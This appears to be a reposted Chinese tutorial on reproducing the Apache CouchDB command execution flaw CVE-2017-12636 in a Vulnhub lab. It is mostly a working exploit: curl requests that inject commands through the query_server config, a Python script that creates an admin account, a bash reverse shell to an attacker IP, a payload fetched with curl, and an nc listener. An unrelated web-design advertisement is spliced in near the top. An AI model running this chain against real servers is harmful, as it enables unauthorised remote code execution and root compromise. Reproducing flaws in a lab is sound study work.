漏洞原理:
Apache CouchDB是一個(gè)開(kāi)源數(shù)據(jù)庫(kù),專注于易用性和成為"完全擁抱web的數(shù)據(jù)庫(kù)"。它是一個(gè)使用JSON作為存儲(chǔ)格式,JavaScript作為查詢語(yǔ)言,MapReduce和HTTP作為API的NoSql數(shù)據(jù)庫(kù)。應(yīng)用廣泛,如BBC用在其動(dòng)態(tài)內(nèi)容展示平臺(tái),Credit Suisse用在其內(nèi)部的商品部門的市場(chǎng)框架,Meebo,用在其社交平臺(tái)(web和應(yīng)用程序)。
在永定等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強(qiáng)發(fā)展的系統(tǒng)性、市場(chǎng)前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供成都做網(wǎng)站、網(wǎng)站設(shè)計(jì) 網(wǎng)站設(shè)計(jì)制作按需定制,公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),高端網(wǎng)站設(shè)計(jì),成都全網(wǎng)營(yíng)銷,外貿(mào)營(yíng)銷網(wǎng)站建設(shè),永定網(wǎng)站建設(shè)費(fèi)用合理。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個(gè)任意命令執(zhí)行漏洞,我們可以通過(guò)config api修改couchdb的配置query_server,這個(gè)配置項(xiàng)在設(shè)計(jì)、執(zhí)行view的時(shí)候?qū)⒈贿\(yùn)行。
漏洞復(fù)現(xiàn):
1、新增query_server配置,寫(xiě)入要執(zhí)行的命令;
curl -X PUT 'http://pppp:pppp@靶機(jī)ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
紅箭頭的是自己創(chuàng)建的賬號(hào)和密碼,下面顯示我的已經(jīng)有了。
2、新建一個(gè)臨時(shí)庫(kù)和臨時(shí)表,插入一條記錄;
①curl -X PUT 'http://pppp:pppp@靶機(jī)ip:5984/oll'
②curl -X PUT 'http://pppp:pppp@靶機(jī)ip:5984/oll/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
紅箭頭指的是自己創(chuàng)建的表
3.調(diào)用query_server處理數(shù)據(jù)
curl -X PUT http://pppp:pppp@靶機(jī)ip:5984/oll/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
執(zhí)行EXP反彈Shell:
1.反彈腳本:在home下面創(chuàng)建個(gè)index.html。添以下內(nèi)容
bash -i >& /dev/tcp/172.16.11.2/9000 0>&1
紅箭頭指的是本機(jī)ip
2.另起一個(gè)終端,在home下執(zhí)行 python -m SimpleHTTPServer 8000
3.創(chuàng)建一個(gè)exp.py的腳本,如下:
#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth
target = 'http://192.168.8.148:5984'
command = '"bash -i >& /dev/tcp/192.168.8.148/4444 0>&1"'
version = 2
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
#session.proxies = {
#'http': 'http://127.0.0.1:8085'
#}
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
4.修改exp.py中command的值為:curl 172.16.11.2:8000 -o /tmp/bashell 保存并執(zhí)行命令 python exp.py。
這個(gè)時(shí)候可以看見(jiàn)HTTP服務(wù)成功監(jiān)聽(tīng)到下載請(qǐng)求
5.再重新打開(kāi)一個(gè)終端,并監(jiān)聽(tīng)著 nc -lnvp 9000 ,監(jiān)聽(tīng)本地9000端口
6.修改 exp.py 中的 command 的值為 bash /tmp/bashell ,保存并執(zhí)行命令 python exp.py ,成功獲取反彈回來(lái)的Shell
target的ip為靶機(jī)ip(一定要寫(xiě)對(duì),別學(xué)本人ip寫(xiě)錯(cuò),發(fā)愁一天)
7.這樣就成功了。
獲得root。
網(wǎng)頁(yè)名稱:利用Vulnhub復(fù)現(xiàn)漏洞-Couchdb任意命令執(zhí)行
標(biāo)題鏈接:http://vcdvsql.cn/article46/peghhg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供關(guān)鍵詞優(yōu)化、域名注冊(cè)、網(wǎng)頁(yè)設(shè)計(jì)公司、網(wǎng)站營(yíng)銷、軟件開(kāi)發(fā)、做網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)